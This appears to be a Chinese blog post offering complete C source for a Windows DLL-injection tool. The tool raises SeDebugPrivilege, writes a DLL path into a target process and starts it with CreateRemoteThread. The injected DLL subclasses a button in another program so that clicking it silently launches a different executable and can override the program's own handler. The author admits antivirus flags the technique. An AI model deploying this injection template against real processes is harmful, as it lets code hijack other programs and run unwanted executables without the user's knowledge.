/* ************************************
* remote.c
* 建立遠程線程、將代碼注入到其他進程中執行
**************************************/
/* 標頭檔 */
#include <windows.h>
#include <Tlhelp32.h>
/*************************************
* BOOL EnablePrivilege (PCSTR name)
* 功能 提升本許可權
*防止有些進程我們許可權不夠,打不開人家
* 參數 PCSTR name 所需的許可權
* 返回是否成功
**************************************/
DWORD EnablePrivilege (PCSTR name)
{
HANDLE hToken;
BOOL rv;
//設定結構
TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
// 尋找許可權值
LookupPrivilegeValue (
0,
name,
&priv.Privileges[0].Luid
);
// 開啟本進程Token
OpenProcessToken(
GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES,
&hToken
);
// 提權
AdjustTokenPrivileges (
hToken,
FALSE,
&priv,
sizeof priv,
0,
0
);
// 傳回值,錯誤資訊,如果操作成功,則應為ERROR_SUCCESS,為O
rv = GetLastError();
// 關閉Token
CloseHandle (hToken);
return rv;
}
/*************************************
* BOOL LoadRometeDll(DWORD dwProcessId, LPTSTR lpszLibName)
* 功能 通過建立遠程線程給其他進程載入Dll
*
* 參數 DWORD dwProcessId 目標進程PID
* LPTSTR lpszLibName Dll的路徑
* 返回是否成功
**************************************/
BOOL LoadRometeDll(DWORD dwProcessId, LPTSTR lpszLibName)
{
BOOL bResult = FALSE;
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
PSTR pszLibFileRemote = NULL;
DWORD cch;
PTHREAD_START_ROUTINE pfnThreadRtn;
__try
{
// 獲得想要注入代碼的進程的控制代碼.
hProcess = OpenProcess(
PROCESS_ALL_ACCESS,
FALSE,
dwProcessId
);
if (hProcess == NULL)
__leave;
// 計算DLL路徑名需要的位元組數.
cch = 1 + lstrlen(lpszLibName);
// 在遠程線程中為路徑名分配空間.
pszLibFileRemote = (PSTR)VirtualAllocEx(
hProcess,
NULL,
cch,
MEM_COMMIT,
PAGE_READWRITE
);
if (pszLibFileRemote == NULL)
__leave;
// 將DLL的路徑名複製到遠程進程的記憶體空間.
if (!WriteProcessMemory(
hProcess,
(PVOID)pszLibFileRemote,
(PVOID)lpszLibName,
cch,
NULL))
__leave;
// 獲得LoadLibraryA在Kernel32.dll中的真正地址.
pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(
GetModuleHandle(TEXT("Kernel32")), TEXT("LoadLibraryA"));
if (pfnThreadRtn == NULL)
__leave;
// 建立遠程線程,並通過遠程線程調用使用者的DLL檔案.
hThread = CreateRemoteThread(
hProcess,
NULL,
0,
pfnThreadRtn,
(PVOID)pszLibFileRemote,
0,
NULL
);
if (hThread == NULL)
__leave;
// 等待遠程線程終止.
WaitForSingleObject(hThread, INFINITE);
bResult = TRUE;
}
__finally
{
// 關閉控制代碼.
if (pszLibFileRemote != NULL)
VirtualFreeEx(hProcess, (PVOID)pszLibFileRemote, 0, MEM_RELEASE);
if (hThread != NULL)
CloseHandle(hThread);
if (hProcess != NULL)
CloseHandle(hProcess);
}
return bResult;
}
/*************************************
* BOOL GetProcessIdByName(LPSTR szProcessName, LPDWORD lpPID)
* 功能 通過進程名擷取進程PID
*
* 參數 LPSTR szProcessName 進程名
* LPDWORD lpPID 指向儲存PID的變數
* 返回是否成功
**************************************/
BOOL GetProcessIdByName(LPSTR szProcessName, LPDWORD lpPID)
{
// 變數及初始化
STARTUPINFO st;
PROCESS_INFORMATION pi;
PROCESSENTRY32 ps;
HANDLE hSnapshot;
ZeroMemory(&st, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
st.cb = sizeof(STARTUPINFO);
ZeroMemory(&ps,sizeof(PROCESSENTRY32));
ps.dwSize = sizeof(PROCESSENTRY32);
// 遍曆進程
hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0);
if(hSnapshot == INVALID_HANDLE_VALUE)
{
return FALSE;
}
if(!Process32First(hSnapshot,&ps))
{
return FALSE;
}
do
{
// 比較進程名
if(lstrcmpi(ps.szExeFile,"工程1.exe")==0)//為了明了這裡沒用szProcessName
{
// 找到了
*lpPID = ps.th32ProcessID;
CloseHandle(hSnapshot);
return TRUE;
}
}
while(Process32Next(hSnapshot,&ps));
// 沒有找到
CloseHandle(hSnapshot);
return FALSE;
}
/*************************************
* int WinMain(
* HINSTANCE hInstance,
* HINSTANCE hPrevInstance,
* LPSTR lpCmdLine,
* int nCmdShow
* )
**************************************/
int WINAPI WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow
)
{
DWORD dwPID;
// 提權,擷取SE_DEBUG_NAME許可權,
// 可以在其他進程的記憶體空間中寫入、建立線程
if(0!=EnablePrivilege (SE_DEBUG_NAME))
return 0;
// 擷取目錄進程的PID
if(!GetProcessIdByName("工程1.exe",&dwPID))
return 0;
// 通過建立遠程線程載入DLL
// 將msg.dll放置在系統目錄下,這裡是相對路徑嘛
if(!LoadRometeDll(dwPID,"msg.dll"))
return 0;
return 1;
}
/* ************************************
* msg.c
* 動態連結程式庫
**************************************/
/* 標頭檔 */
#include <Windows.h>
//全域變數
HWND hDlg;
HWND hWnd;
WNDPROC OldWndProc;
//WNDPROC OldWndProc1;
//子視窗控制項的視窗過程
LRESULT CALLBACK NewWndProc(HWND hWnd,UINT Msg,WPARAM wParam,LPARAM lParam)
{
STARTUPINFO si={sizeof(si)};
//si.cb=sizeof(STARTUPINFO);
//si.wShowWindow=SW_SHOW;
//si.dwFlags=STARTF_USESHOWWINDOW;
PROCESS_INFORMATION pi;
switch(Msg)
{
case WM_KEYDOWN:
MessageBox(hWnd,"s","f",0);
return CallWindowProc(OldWndProc,hWnd,Msg,wParam,lParam);
//return 0;
break;
case WM_LBUTTONDOWN:
//MessageBox(NULL,"b","s",0);
//SetFocus(hWnd);
CreateProcess(NULL,"C://Documents and Settings//Administrator//案頭//2.exe",NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&si,&pi);
return CallWindowProc(OldWndProc,hWnd,Msg,wParam,lParam);
// return 0;
break;
default:
return CallWindowProc(OldWndProc,hWnd,Msg,wParam,lParam);
}
return 0;
}
/*************************************
* DllMain
**************************************/
BOOL WINAPI DllMain(
HINSTANCE hinstDLL, // DLL模組的控制代碼
DWORD fdwReason, // 調用的情況
LPVOID lpReserved ) // reserved
{
// 在不同的情況下都會調用DllMain函數,分別處理
switch( fdwReason )
{
// 載入Dll
case DLL_PROCESS_ATTACH:
{
//測試而已,無其他不良目的
CHAR lpMainMoudleName[MAX_PATH]="sdfsfsdf";
CHAR lpMessage[MAX_PATH+64];
// 擷取PID 和主模組名,將彈出訊息框
DWORD dwPID = GetCurrentProcessId();
//GetModuleBaseName(GetCurrentProcess(),NULL,lpMainMoudleName,MAX_PATH);
wsprintf(lpMessage,"Process name: %s, PID: %u ",lpMainMoudleName,dwPID);
MessageBox(NULL,lpMessage,"msg.dll",MB_OK);
hDlg=FindWindow(NULL,"Form1");//視窗標題Form1
hWnd=GetDlgItem(hDlg,2);//command1的控制項ID,可以藉助SPY++得到
OldWndProc=(WNDPROC)SetWindowLong(hWnd,GWL_WNDPROC,(LONG)NewWndProc);
break;
}
// 建立線程
case DLL_THREAD_ATTACH:
break;
// 線程退出
case DLL_THREAD_DETACH:
break;
// 釋放Dll
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
簡單說明:
1.遠程注入的代碼基本都是一個模板,能夠套用的,這裡藉助了精通WINDOWS API中的代碼來完成的,注釋相對比較全面了吧,為了實現特定的目標:替換VB工程中command1按鈕的訊息響應,因此在動態連結程式庫中用到了視窗子類化,一點很重要的過程就是利用進程ID如何去擷取視窗控制代碼,這裡簡單的用到了FINDWINDOW函數,當然方法還是有不少的,比如看雪論壇中就有類似的文章,是自己定義一個函數來完成此功能的,可以做個參考。
2.工程1.exe是一個VB的對話方塊,上面放置了2個按鈕,分別是command1,command2,點擊會各自響應自己的訊息處理過程(VB中實現的),利用上面的代碼可以實現注入到這個工程1.exe程式中,結果就是當我們點擊command1的時候可以響應我們自己的處理過程,比如上述就是執行了案頭上的2.exe,然後再返回預設的處理過程,這裡如果注釋掉return callwindowproc就只會出現我們自己的處理了,原本VB中實現的將被我們上述工程所屏蔽掉了。
3.如果想要很明顯的看到效果,那完全可以先自己運行工程1.exe,然後在運行上述編譯好的EXE,此時一切將不再是以前那樣了,偷梁換柱已經果斷實現了。
4.其實也可以把所有代碼都寫入到目標進程的地址空間中,這樣就能避免使用DLL了,但是在DLL中實現有個很大的好處就是不需要把很複雜的東西全部writeprocessmemory到目標進程地址空間中,大大簡化了實現過程。
5.順便說一句,寫的這個程式由於用到了createremotethread,所以會被金山等系列提示(大家懂的),僅僅是個實驗罷了。完整的工程暫時就不上傳了吧,如果有需要的話,再上傳或者發郵件也可以,畢竟不是很“光彩”的東西。